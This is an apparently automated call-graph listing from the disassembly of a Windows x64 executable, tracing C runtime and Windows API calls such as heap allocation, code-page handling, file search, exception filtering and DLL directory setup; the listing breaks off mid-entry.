14914->14915 14916 7ff7da8edc90 _get_daylight 11 API calls 14915->14916 14928 7ff7da8e8197 14916->14928 14917 7ff7da8e819f 14918 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14917->14918 14920 7ff7da8e7fee 14918->14920 14919 7ff7da8e8219 14921 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14919->14921 14920->14896 14921->14920 14922 7ff7da8edc90 _get_daylight 11 API calls 14922->14928 14923 7ff7da8e8208 14940 7ff7da8e8250 14923->14940 14924 7ff7da8ef874 _wfindfirst32i64 37 API calls 14924->14928 14927 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14927->14917 14928->14917 14928->14919 14928->14922 14928->14923 14928->14924 14929 7ff7da8e823c 14928->14929 14931 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14928->14931 14930 7ff7da8e9d20 _wfindfirst32i64 17 API calls 14929->14930 14932 7ff7da8e824e 14930->14932 14931->14928 14934 7ff7da8eca67 14933->14934 14938 7ff7da8eca2b _get_daylight 14933->14938 14935 7ff7da8e4394 _get_daylight 11 API calls 14934->14935 14937 7ff7da8eca65 14935->14937 14936 7ff7da8eca4e RtlAllocateHeap 14936->14937 14936->14938 14937->14911 14938->14934 14938->14936 14939 7ff7da8f2600 _get_daylight 2 API calls 14938->14939 14939->14938 14944 7ff7da8e8255 14940->14944 14945 7ff7da8e8210 14940->14945 14941 7ff7da8e827e 14943 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14941->14943 14942 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14942->14944 14943->14945 14944->14941 14944->14942 14945->14927 18032 7ff7da8e89a0 18035 7ff7da8e8920 18032->18035 18042 7ff7da8ef6d8 EnterCriticalSection 18035->18042 18829 7ff7da8f9649 18830 7ff7da8f9662 18829->18830 18831 7ff7da8f9658 18829->18831 18833 7ff7da8ef738 LeaveCriticalSection 18831->18833 18841 7ff7da8f0740 18852 7ff7da8f66b4 18841->18852 18853 7ff7da8f66c1 18852->18853 18854 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18853->18854 18855 7ff7da8f66dd 18853->18855 18854->18853 18856 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18855->18856 18857 7ff7da8f0749 18855->18857 18856->18855 18858 7ff7da8ef6d8 EnterCriticalSection 18857->18858 18398 7ff7da8ea3f0 18399 7ff7da8ea3f5 18398->18399 18400 7ff7da8ea40a 18398->18400 18404 7ff7da8ea410 18399->18404 18405 7ff7da8ea452 18404->18405 18406 7ff7da8ea45a 18404->18406 18407 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18405->18407 18408 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18406->18408 18407->18406 18409 7ff7da8ea467 18408->18409 18410 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18409->18410 18411 7ff7da8ea474 18410->18411 18412 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18411->18412 18413 7ff7da8ea481 18412->18413 18414 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18413->18414 18415 7ff7da8ea48e 18414->18415 18416 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18415->18416 18417 7ff7da8ea49b 18416->18417 18418 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18417->18418 18419 7ff7da8ea4a8 18418->18419 18420 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18419->18420 18421 7ff7da8ea4b5 18420->18421 18422 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18421->18422 18423 7ff7da8ea4c5 18422->18423 18424 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18423->18424 18425 7ff7da8ea4d5 18424->18425 18430 7ff7da8ea2b4 18425->18430 18444 7ff7da8ef6d8 EnterCriticalSection 18430->18444 18446 7ff7da8f04f0 18464 7ff7da8ef6d8 EnterCriticalSection 18446->18464 18466 7ff7da8f6ef0 18469 7ff7da8f1680 18466->18469 18470 7ff7da8f168d 18469->18470 18471 7ff7da8f16d2 18469->18471 18475 7ff7da8ea644 18470->18475 18476 7ff7da8ea655 FlsGetValue 18475->18476 18477 7ff7da8ea670 FlsSetValue 18475->18477 18478 7ff7da8ea66a 18476->18478 18479 7ff7da8ea662 18476->18479 18477->18479 18480 7ff7da8ea67d 18477->18480 18478->18477 18481 7ff7da8ea668 18479->18481 18482 7ff7da8e915c __CxxCallCatchBlock 45 API calls 18479->18482 18483 7ff7da8edc90 _get_daylight 11 API calls 18480->18483 18495 7ff7da8f1354 18481->18495 18484 7ff7da8ea6e5 18482->18484 18485 7ff7da8ea68c 18483->18485 18486 7ff7da8ea6aa FlsSetValue 18485->18486 18487 7ff7da8ea69a FlsSetValue 18485->18487 18489 7ff7da8ea6b6 FlsSetValue 18486->18489 18490 7ff7da8ea6c8 18486->18490 18488 7ff7da8ea6a3 18487->18488 18491 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18488->18491 18489->18488 18492 7ff7da8ea314 _get_daylight 11 API calls 18490->18492 18491->18479 18493 7ff7da8ea6d0 18492->18493 18494 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18493->18494 18494->18481 18518 7ff7da8f15c4 18495->18518 18497 7ff7da8f1389 18533 7ff7da8f1054 18497->18533 18500 7ff7da8eca1c _fread_nolock 12 API calls 18501 7ff7da8f13b7 18500->18501 18502 7ff7da8f13bf 18501->18502 18505 7ff7da8f13ce 18501->18505 18503 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18502->18503 18504 7ff7da8f13a6 18503->18504 18504->18471 18540 7ff7da8f16fc 18505->18540 18508 7ff7da8f14ca 18509 7ff7da8e4394 _get_daylight 11 API calls 18508->18509 18511 7ff7da8f14cf 18509->18511 18510 7ff7da8f1525 18513 7ff7da8f158c 18510->18513 18551 7ff7da8f0e84 18510->18551 18514 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18511->18514 18512 7ff7da8f14e4 18512->18510 18515 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18512->18515 18517 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18513->18517 18514->18504 18515->18510 18517->18504 18519 7ff7da8f15e7 18518->18519 18520 7ff7da8f15f1 18519->18520 18566 7ff7da8ef6d8 EnterCriticalSection 18519->18566 18522 7ff7da8f1663 18520->18522 18525 7ff7da8e915c __CxxCallCatchBlock 45 API calls 18520->18525 18522->18497 18528 7ff7da8f167b 18525->18528 18529 7ff7da8f16d2 18528->18529 18530 7ff7da8ea644 50 API calls 18528->18530 18529->18497 18531 7ff7da8f16bc 18530->18531 18532 7ff7da8f1354 65 API calls 18531->18532 18532->18529 18534 7ff7da8e496c 45 API calls 18533->18534 18535 7ff7da8f1068 18534->18535 18536 7ff7da8f1086 18535->18536 18537 7ff7da8f1074 GetOEMCP 18535->18537 18538 7ff7da8f109b 18536->18538 18539 7ff7da8f108b GetACP 18536->18539 18537->18538 18538->18500 18538->18504 18539->18538 18541 7ff7da8f1054 47 API calls 18540->18541 18542 7ff7da8f1729 18541->18542 18543 7ff7da8f187f 18542->18543 18544 7ff7da8f1766 IsValidCodePage 18542->18544 18550 7ff7da8f1780 __scrt_get_show_window_mode 18542->18550 18545 7ff7da8dacf0 _wfindfirst32i64 8 API calls 18543->18545 18544->18543 18546 7ff7da8f1777 18544->18546 18547 7ff7da8f14c1 18545->18547 18548 7ff7da8f17a6 GetCPInfo 18546->18548 18546->18550 18547->18508 18547->18512 18548->18543 18548->18550 18567 7ff7da8f116c 18550->18567 18638 7ff7da8ef6d8 EnterCriticalSection 18551->18638 18568 7ff7da8f11a9 GetCPInfo 18567->18568 18569 7ff7da8f129f 18567->18569 18568->18569 18574 7ff7da8f11bc 18568->18574 18570 7ff7da8dacf0 _wfindfirst32i64 8 API calls 18569->18570 18572 7ff7da8f133e 18570->18572 18572->18543 18578 7ff7da8f1eb0 18574->18578 18577 7ff7da8f6e54 54 API calls 18577->18569 18579 7ff7da8e496c 45 API calls 18578->18579 18580 7ff7da8f1ef2 18579->18580 18581 7ff7da8ee740 _fread_nolock MultiByteToWideChar 18580->18581 18583 7ff7da8f1f28 18581->18583 18582 7ff7da8f1f2f 18585 7ff7da8dacf0 _wfindfirst32i64 8 API calls 18582->18585 18583->18582 18584 7ff7da8eca1c _fread_nolock 12 API calls 18583->18584 18586 7ff7da8f1fec 18583->18586 18589 7ff7da8f1f58 __scrt_get_show_window_mode 18583->18589 18584->18589 18587 7ff7da8f1233 18585->18587 18586->18582 18588 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18586->18588 18593 7ff7da8f6e54 18587->18593 18588->18582 18589->18586 18590 7ff7da8ee740 _fread_nolock MultiByteToWideChar 18589->18590 18591 7ff7da8f1fce 18590->18591 18591->18586 18592 7ff7da8f1fd2 GetStringTypeW 18591->18592 18592->18586 18594 7ff7da8e496c 45 API calls 18593->18594 18595 7ff7da8f6e79 18594->18595 18598 7ff7da8f6b20 18595->18598 18599 7ff7da8f6b61 18598->18599 18600 7ff7da8ee740 _fread_nolock MultiByteToWideChar 18599->18600 18604 7ff7da8f6bab 18600->18604 18601 7ff7da8f6e29 18603 7ff7da8dacf0 _wfindfirst32i64 8 API calls 18601->18603 18602 7ff7da8f6ce1 18602->18601 18607 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18602->18607 18605 7ff7da8f1266 18603->18605 18604->18601 18604->18602 18606 7ff7da8eca1c _fread_nolock 12 API calls 18604->18606 18608 7ff7da8f6be3 18604->18608 18605->18577 18606->18608 18607->18601 18608->18602 18609 7ff7da8ee740 _fread_nolock MultiByteToWideChar 18608->18609 18610 7ff7da8f6c56 18609->18610 18610->18602 18629 7ff7da8ee0dc 18610->18629 18613 7ff7da8f6ca1 18613->18602 18617 7ff7da8ee0dc __crtLCMapStringW 6 API calls 18613->18617 18614 7ff7da8f6cf2 18615 7ff7da8f6d10 18614->18615 18616 7ff7da8eca1c _fread_nolock 12 API calls 18614->18616 18618 7ff7da8f6dc4 18614->18618 18615->18602 18620 7ff7da8ee0dc __crtLCMapStringW 6 API calls 18615->18620 18616->18615 18617->18602 18618->18602 18619 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18618->18619 18619->18602 18621 7ff7da8f6d90 18620->18621 18621->18618 18622 7ff7da8f6dc6 18621->18622 18623 7ff7da8f6db0 18621->18623 18624 7ff7da8ef008 WideCharToMultiByte 18622->18624 18625 7ff7da8ef008 WideCharToMultiByte 18623->18625 18626 7ff7da8f6dbe 18624->18626 18625->18626 18626->18618 18627 7ff7da8f6dde 18626->18627 18627->18602 18628 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18627->18628 18628->18602 18630 7ff7da8edd08 __crtLCMapStringW 5 API calls 18629->18630 18631 7ff7da8ee11a 18630->18631 18632 7ff7da8ee122 18631->18632 18635 7ff7da8ee1c8 18631->18635 18632->18602 18632->18613 18632->18614 18634 7ff7da8ee18b LCMapStringW 18634->18632 18636 7ff7da8edd08 __crtLCMapStringW 5 API calls 18635->18636 18637 7ff7da8ee1f6 __crtLCMapStringW 18636->18637 18637->18634 14677 7ff7da8e6664 14678 7ff7da8e6692 14677->14678 14679 7ff7da8e66cb 14677->14679 14757 7ff7da8e4394 14678->14757 14679->14678 14680 7ff7da8e66d0 FindFirstFileExW 14679->14680 14682 7ff7da8e66f2 GetLastError 14680->14682 14683 7ff7da8e6739 14680->14683 14686 7ff7da8e66fd 14682->14686 14687 7ff7da8e6729 14682->14687 14737 7ff7da8e68d4 14683->14737 14686->14687 14693 7ff7da8e6707 14686->14693 14694 7ff7da8e6719 14686->14694 14691 7ff7da8e4394 _get_daylight 11 API calls 14687->14691 14690 7ff7da8e66a2 14762 7ff7da8dacf0 14690->14762 14691->14690 14692 7ff7da8e68d4 _wfindfirst32i64 10 API calls 14696 7ff7da8e675f 14692->14696 14693->14687 14697 7ff7da8e670c 14693->14697 14698 7ff7da8e4394 _get_daylight 11 API calls 14694->14698 14700 7ff7da8e68d4 _wfindfirst32i64 10 API calls 14696->14700 14701 7ff7da8e4394 _get_daylight 11 API calls 14697->14701 14698->14690 14702 7ff7da8e676d 14700->14702 14701->14690 14744 7ff7da8ef874 14702->14744 14705 7ff7da8e6797 14753 7ff7da8e9d20 IsProcessorFeaturePresent 14705->14753 14738 7ff7da8e68f2 FileTimeToSystemTime 14737->14738 14739 7ff7da8e68ec 14737->14739 14740 7ff7da8e6901 SystemTimeToTzSpecificLocalTime 14738->14740 14741 7ff7da8e6917 14738->14741 14739->14738 14739->14741 14740->14741 14742 7ff7da8dacf0 _wfindfirst32i64 8 API calls 14741->14742 14743 7ff7da8e6751 14742->14743 14743->14692 14745 7ff7da8ef881 14744->14745 14746 7ff7da8ef88b 14744->14746 14745->14746 14751 7ff7da8ef8a7 14745->14751 14747 7ff7da8e4394 _get_daylight 11 API calls 14746->14747 14748 7ff7da8ef893 14747->14748 14749 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 14748->14749 14750 7ff7da8e678b 14749->14750 14750->14690 14750->14705 14751->14750 14752 7ff7da8e4394 _get_daylight 11 API calls 14751->14752 14752->14748 14754 7ff7da8e9d33 14753->14754 14771 7ff7da8e9a34 14754->14771 14779 7ff7da8ea6e8 GetLastError 14757->14779 14759 7ff7da8e439d 14760 7ff7da8e9d00 14759->14760 14837 7ff7da8e9b98 14760->14837 14763 7ff7da8dacf9 14762->14763 14764 7ff7da8dad04 14763->14764 14765 7ff7da8db020 IsProcessorFeaturePresent 14763->14765 14766 7ff7da8db038 14765->14766 14875 7ff7da8db214 RtlCaptureContext 14766->14875 14772 7ff7da8e9a6e _wfindfirst32i64 __scrt_get_show_window_mode 14771->14772 14773 7ff7da8e9a96 RtlCaptureContext RtlLookupFunctionEntry 14772->14773 14774 7ff7da8e9b06 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 14773->14774 14775 7ff7da8e9ad0 RtlVirtualUnwind 14773->14775 14777 7ff7da8e9b58 _wfindfirst32i64 14774->14777 14775->14774 14776 7ff7da8dacf0 _wfindfirst32i64 8 API calls 14778 7ff7da8e9b77 GetCurrentProcess TerminateProcess 14776->14778 14777->14776 14780 7ff7da8ea729 FlsSetValue 14779->14780 14784 7ff7da8ea70c 14779->14784 14781 7ff7da8ea73b 14780->14781 14785 7ff7da8ea719 SetLastError 14780->14785 14796 7ff7da8edc90 14781->14796 14784->14780 14784->14785 14785->14759 14787 7ff7da8ea768 FlsSetValue 14789 7ff7da8ea786 14787->14789 14790 7ff7da8ea774 FlsSetValue 14787->14790 14788 7ff7da8ea758 FlsSetValue 14791 7ff7da8ea761 14788->14791 14809 7ff7da8ea314 14789->14809 14790->14791 14803 7ff7da8e9d68 14791->14803 14802 7ff7da8edca1 _get_daylight 14796->14802 14797 7ff7da8edcf2 14800 7ff7da8e4394 _get_daylight 10 API calls 14797->14800 14798 7ff7da8edcd6 RtlAllocateHeap 14799 7ff7da8ea74a 14798->14799 14798->14802 14799->14787 14799->14788 14800->14799 14802->14797 14802->14798 14814 7ff7da8f2600 14802->14814 14804 7ff7da8e9d6d RtlReleasePrivilege 14803->14804 14808 7ff7da8e9d9c 14803->14808 14805 7ff7da8e9d88 GetLastError 14804->14805 14804->14808 14806 7ff7da8e9d95 Concurrency::details::SchedulerProxy::DeleteThis 14805->14806 14807 7ff7da8e4394 _get_daylight 9 API calls 14806->14807 14807->14808 14808->14785 14823 7ff7da8ea1ec 14809->14823 14817 7ff7da8f2640 14814->14817 14822 7ff7da8ef6d8 EnterCriticalSection 14817->14822 14835 7ff7da8ef6d8 EnterCriticalSection 14823->14835 14838 7ff7da8e9bc3 14837->14838 14841 7ff7da8e9c34 14838->14841 14840 7ff7da8e9bea 14849 7ff7da8e997c 14841->14849 14846 7ff7da8e9d20 _wfindfirst32i64 17 API calls 14848 7ff7da8e9cff 14846->14848 14847 7ff7da8e9c6f 14847->14840 14850 7ff7da8e99d3 14849->14850 14851 7ff7da8e9998 GetLastError 14849->14851 14850->14847 14855 7ff7da8e99e8 14850->14855 14852 7ff7da8e99a8 14851->14852 14858 7ff7da8ea7b0 14852->14858 14856 7ff7da8e9a04 GetLastError SetLastError 14855->14856 14857 7ff7da8e9a1c 14855->14857 14856->14857 14857->14846 14857->14847 14859 7ff7da8ea7cf FlsGetValue 14858->14859 14860 7ff7da8ea7ea FlsSetValue 14858->14860 14861 7ff7da8ea7e4 14859->14861 14863 7ff7da8e99c3 SetLastError 14859->14863 14862 7ff7da8ea7f7 14860->14862 14860->14863 14861->14860 14864 7ff7da8edc90 _get_daylight 11 API calls 14862->14864 14863->14850 14865 7ff7da8ea806 14864->14865 14866 7ff7da8ea824 FlsSetValue 14865->14866 14867 7ff7da8ea814 FlsSetValue 14865->14867 14869 7ff7da8ea842 14866->14869 14870 7ff7da8ea830 FlsSetValue 14866->14870 14868 7ff7da8ea81d 14867->14868 14871 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14868->14871 14872 7ff7da8ea314 _get_daylight 11 API calls 14869->14872 14870->14868 14871->14863 14873 7ff7da8ea84a 14872->14873 14874 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14873->14874 14874->14863 14876 7ff7da8db22e RtlLookupFunctionEntry 14875->14876 14877 7ff7da8db244 RtlVirtualUnwind 14876->14877 14878 7ff7da8db04b 14876->14878 14877->14876 14877->14878 14879 7ff7da8dafe4 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 14878->14879 14946 7ff7da8d98e0 14947 7ff7da8d9903 14946->14947 14948 7ff7da8d991f memcpy_s 14946->14948 14949 7ff7da8eca1c 12 API calls 14947->14949 14949->14948 18652 7ff7da8e41e0 18653 7ff7da8e41eb 18652->18653 18661 7ff7da8ee2a4 18653->18661 18674 7ff7da8ef6d8 EnterCriticalSection 18661->18674 14950 7ff7da8dae5c 14975 7ff7da8db2cc 14950->14975 14953 7ff7da8dafa8 15087 7ff7da8db5fc IsProcessorFeaturePresent 14953->15087 14954 7ff7da8dae78 __scrt_acquire_startup_lock 14956 7ff7da8dafb2 14954->14956 14957 7ff7da8dae96 14954->14957 14958 7ff7da8db5fc 7 API calls 14956->14958 14967 7ff7da8daed8 __scrt_release_startup_lock 14957->14967 14983 7ff7da8e85c4 14957->14983 14962 7ff7da8dafbd __CxxCallCatchBlock 14958->14962 14961 7ff7da8daebb 14964 7ff7da8daf41 14991 7ff7da8db748 14964->14991 14966 7ff7da8daf46 14994 7ff7da8d1000 14966->14994 14967->14964 15076 7ff7da8e88d4 14967->15076 14972 7ff7da8daf69 14972->14962 15083 7ff7da8db460 14972->15083 15094 7ff7da8db8cc 14975->15094 14978 7ff7da8db2fb 15096 7ff7da8e8fdc 14978->15096 14981 7ff7da8dae70 14981->14953 14981->14954 14984 7ff7da8e85d7 14983->14984 14985 7ff7da8daeb7 14984->14985 15139 7ff7da8dad70 14984->15139 14985->14961 14987 7ff7da8e8580 14985->14987 14988 7ff7da8e8585 14987->14988 14989 7ff7da8e85b6 14987->14989 14988->14989 15217 7ff7da8dae40 14988->15217 14989->14967 15226 7ff7da8dc170 14991->15226 14995 7ff7da8d100b 14994->14995 15228 7ff7da8d7570 14995->15228 14997 7ff7da8d101d 15235 7ff7da8e4e64 14997->15235 14999 7ff7da8d365b 15242 7ff7da8d1af0 14999->15242 15003 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15004 7ff7da8d378e 15003->15004 15081 7ff7da8db78c GetModuleHandleW 15004->15081 15005 7ff7da8d3679 15068 7ff7da8d377a 15005->15068 15258 7ff7da8d3b00 15005->15258 15007 7ff7da8d36ab 15007->15068 15261 7ff7da8d6970 15007->15261 15009 7ff7da8d36c7 15010 7ff7da8d3713 15009->15010 15011 7ff7da8d6970 61 API calls 15009->15011 15276 7ff7da8d6f10 15010->15276 15017 7ff7da8d36e8 __vcrt_freefls 15011->15017 15013 7ff7da8d3728 15280 7ff7da8d19d0 15013->15280 15016 7ff7da8d381d 15019 7ff7da8d3848 15016->15019 15409 7ff7da8d3260 15016->15409 15017->15010 15021 7ff7da8d6f10 58 API calls 15017->15021 15018 7ff7da8d19d0 121 API calls 15020 7ff7da8d375e 15018->15020 15030 7ff7da8d388b 15019->15030 15291 7ff7da8d79a0 15019->15291 15024 7ff7da8d37a0 15020->15024 15025 7ff7da8d3762 15020->15025 15021->15010 15024->15016 15386 7ff7da8d3c90 15024->15386 15373 7ff7da8d2770 15025->15373 15026 7ff7da8d3868 15027 7ff7da8d386d 15026->15027 15028 7ff7da8d387e SetDllDirectoryW 15026->15028 15031 7ff7da8d2770 59 API calls 15027->15031 15028->15030 15305 7ff7da8d5e20 15030->15305 15031->15068 15036 7ff7da8d38e6 15044 7ff7da8d39a6 15036->15044 15050 7ff7da8d38f9 15036->15050 15037 7ff7da8d37c2 15041 7ff7da8d2770 59 API calls 15037->15041 15040 7ff7da8d37f0 15040->15016 15043 7ff7da8d37f5 15040->15043 15041->15068 15042 7ff7da8d38a8 15042->15036 15423 7ff7da8d5620 15042->15423 15405 7ff7da8df1fc 15043->15405 15309 7ff7da8d30f0 15044->15309 15058 7ff7da8d3945 15050->15058 15517 7ff7da8d1b30 15050->15517 15051 7ff7da8d38dc 15054 7ff7da8d5870 FreeLibrary 15051->15054 15052 7ff7da8d38bd 15443 7ff7da8d55b0 15052->15443 15054->15036 15057 7ff7da8d39db 15061 7ff7da8d6970 61 API calls 15057->15061 15058->15068 15521 7ff7da8d3090 15058->15521 15059 7ff7da8d38c7 15059->15051 15060 7ff7da8d38cb 15059->15060 15066 7ff7da8d39e7 15061->15066 15064 7ff7da8d3981 15067 7ff7da8d5870 FreeLibrary 15064->15067 15066->15068 15326 7ff7da8d6f50 15066->15326 15067->15068 15068->15003 15077 7ff7da8e88eb 15076->15077 15078 7ff7da8e890c 15076->15078 15077->14964 17866 7ff7da8e9028 15078->17866 15082 7ff7da8db79d 15081->15082 15082->14972 15084 7ff7da8db471 15083->15084 15085 7ff7da8daf80 15084->15085 15086 7ff7da8dca28 __scrt_initialize_crt 7 API calls 15084->15086 15085->14961 15086->15085 15088 7ff7da8db622 _wfindfirst32i64 __scrt_get_show_window_mode 15087->15088 15089 7ff7da8db641 RtlCaptureContext RtlLookupFunctionEntry 15088->15089 15090 7ff7da8db6a6 __scrt_get_show_window_mode 15089->15090 15091 7ff7da8db66a RtlVirtualUnwind 15089->15091 15092 7ff7da8db6d8 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 15090->15092 15091->15090 15093 7ff7da8db72a _wfindfirst32i64 15092->15093 15093->14956 15095 7ff7da8db2ee __scrt_dllmain_crt_thread_attach 15094->15095 15095->14978 15095->14981 15097 7ff7da8f251c 15096->15097 15098 7ff7da8db300 15097->15098 15106 7ff7da8eb940 15097->15106 15098->14981 15100 7ff7da8dca28 15098->15100 15101 7ff7da8dca30 15100->15101 15102 7ff7da8dca3a 15100->15102 15118 7ff7da8dcda4 15101->15118 15102->14981 15117 7ff7da8ef6d8 EnterCriticalSection 15106->15117 15119 7ff7da8dcdb3 15118->15119 15121 7ff7da8dca35 15118->15121 15126 7ff7da8dcfe0 15119->15126 15122 7ff7da8dce10 15121->15122 15123 7ff7da8dce3b 15122->15123 15124 7ff7da8dce3f 15123->15124 15125 7ff7da8dce1e DeleteCriticalSection 15123->15125 15124->15102 15125->15123 15130 7ff7da8dce48 15126->15130 15131 7ff7da8dcf62 TlsFree 15130->15131 15136 7ff7da8dce8c __vcrt_FlsAlloc 15130->15136 15132 7ff7da8dceba LoadLibraryExW 15134 7ff7da8dcf31 15132->15134 15135 7ff7da8dcedb GetLastError 15132->15135 15133 7ff7da8dcf51 GetProcAddress 15133->15131 15134->15133 15137 7ff7da8dcf48 FreeLibrary 15134->15137 15135->15136 15136->15131 15136->15132 15136->15133 15138 7ff7da8dcefd LoadLibraryExW 15136->15138 15137->15133 15138->15134 15138->15136 15140 7ff7da8dad80 15139->15140 15156 7ff7da8e56ec 15140->15156 15142 7ff7da8dad8c 15162 7ff7da8db318 15142->15162 15144 7ff7da8dada4 _RTC_Initialize 15154 7ff7da8dadf9 15144->15154 15167 7ff7da8db4c8 15144->15167 15145 7ff7da8db5fc 7 API calls 15146 7ff7da8dae25 15145->15146 15146->14984 15148 7ff7da8dadb9 15170 7ff7da8e7dbc 15148->15170 15154->15145 15155 7ff7da8dae15 15154->15155 15155->14984 15157 7ff7da8e56fd 15156->15157 15158 7ff7da8e5705 15157->15158 15159 7ff7da8e4394 _get_daylight 11 API calls 15157->15159 15158->15142 15160 7ff7da8e5714 15159->15160 15161 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15160->15161 15161->15158 15163 7ff7da8db329 15162->15163 15166 7ff7da8db32e __scrt_acquire_startup_lock 15162->15166 15164 7ff7da8db5fc 7 API calls 15163->15164 15163->15166 15165 7ff7da8db3a2 15164->15165 15166->15144 15196 7ff7da8db48c 15167->15196 15169 7ff7da8db4d1 15169->15148 15171 7ff7da8e7ddc 15170->15171 15172 7ff7da8dadc5 15170->15172 15173 7ff7da8e7de4 15171->15173 15174 7ff7da8e7dfa GetModuleFileNameW 15171->15174 15172->15154 15195 7ff7da8db59c InitializeSListHead 15172->15195 15175 7ff7da8e4394 _get_daylight 11 API calls 15173->15175 15178 7ff7da8e7e25 15174->15178 15176 7ff7da8e7de9 15175->15176 15177 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15176->15177 15177->15172 15211 7ff7da8e7d5c 15178->15211 15181 7ff7da8e7e6d 15182 7ff7da8e4394 _get_daylight 11 API calls 15181->15182 15183 7ff7da8e7e72 15182->15183 15184 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15183->15184 15187 7ff7da8e7e80 15184->15187 15185 7ff7da8e7e85 15186 7ff7da8e7ea7 15185->15186 15189 7ff7da8e7ed3 15185->15189 15190 7ff7da8e7eec 15185->15190 15188 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15186->15188 15187->15172 15188->15172 15191 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15189->15191 15193 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15190->15193 15192 7ff7da8e7edc 15191->15192 15194 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15192->15194 15193->15186 15194->15187 15197 7ff7da8db4a6 15196->15197 15199 7ff7da8db49f 15196->15199 15200 7ff7da8e8e3c 15197->15200 15199->15169 15203 7ff7da8e8a78 15200->15203 15210 7ff7da8ef6d8 EnterCriticalSection 15203->15210 15212 7ff7da8e7d74 15211->15212 15213 7ff7da8e7dac 15211->15213 15212->15213 15214 7ff7da8edc90 _get_daylight 11 API calls 15212->15214 15213->15181 15213->15185 15215 7ff7da8e7da2 15214->15215 15216 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15215->15216 15216->15213 15225 7ff7da8db7e0 SetUnhandledExceptionFilter 15217->15225 15227 7ff7da8db75f GetStartupInfoW 15226->15227 15227->14966 15229 7ff7da8d758f 15228->15229 15230 7ff7da8d75e0 WideCharToMultiByte 15229->15230 15231 7ff7da8d7597 __vcrt_freefls 15229->15231 15232 7ff7da8d7688 15229->15232 15233 7ff7da8d7636 WideCharToMultiByte 15229->15233 15230->15229 15230->15232 15231->14997 15558 7ff7da8d2620 15232->15558 15233->15229 15233->15232 15237 7ff7da8eeb90 15235->15237 15236 7ff7da8eebe3 15238 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15236->15238 15237->15236 15239 7ff7da8eec36 15237->15239 15241 7ff7da8eec0c 15238->15241 15948 7ff7da8eea68 15239->15948 15241->14999 15243 7ff7da8d1b05 15242->15243 15244 7ff7da8d1b20 15243->15244 15956 7ff7da8d24d0 15243->15956 15244->15068 15246 7ff7da8d3b80 15244->15246 15247 7ff7da8dad20 15246->15247 15248 7ff7da8d3b8c GetModuleFileNameW 15247->15248 15249 7ff7da8d3bd2 15248->15249 15250 7ff7da8d3bbb 15248->15250 15996 7ff7da8d7ab0 15249->15996 15252 7ff7da8d2620 57 API calls 15250->15252 15256 7ff7da8d3bce 15252->15256 15254 7ff7da8d2770 59 API calls 15254->15256 15255 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15257 7ff7da8d3c0f 15255->15257 15256->15255 15257->15005 15259 7ff7da8d1b30 49 API calls 15258->15259 15260 7ff7da8d3b1d 15259->15260 15260->15007 15262 7ff7da8d697a 15261->15262 15263 7ff7da8d79a0 57 API calls 15262->15263 15264 7ff7da8d699c GetEnvironmentVariableW 15263->15264 15265 7ff7da8d69b4 ExpandEnvironmentStringsW 15264->15265 15266 7ff7da8d6a06 15264->15266 15267 7ff7da8d7ab0 59 API calls 15265->15267 15268 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15266->15268 15269 7ff7da8d69dc 15267->15269 15270 7ff7da8d6a18 15268->15270 15269->15266 15271 7ff7da8d69e6 15269->15271 15270->15009 16007 7ff7da8e905c 15271->16007 15274 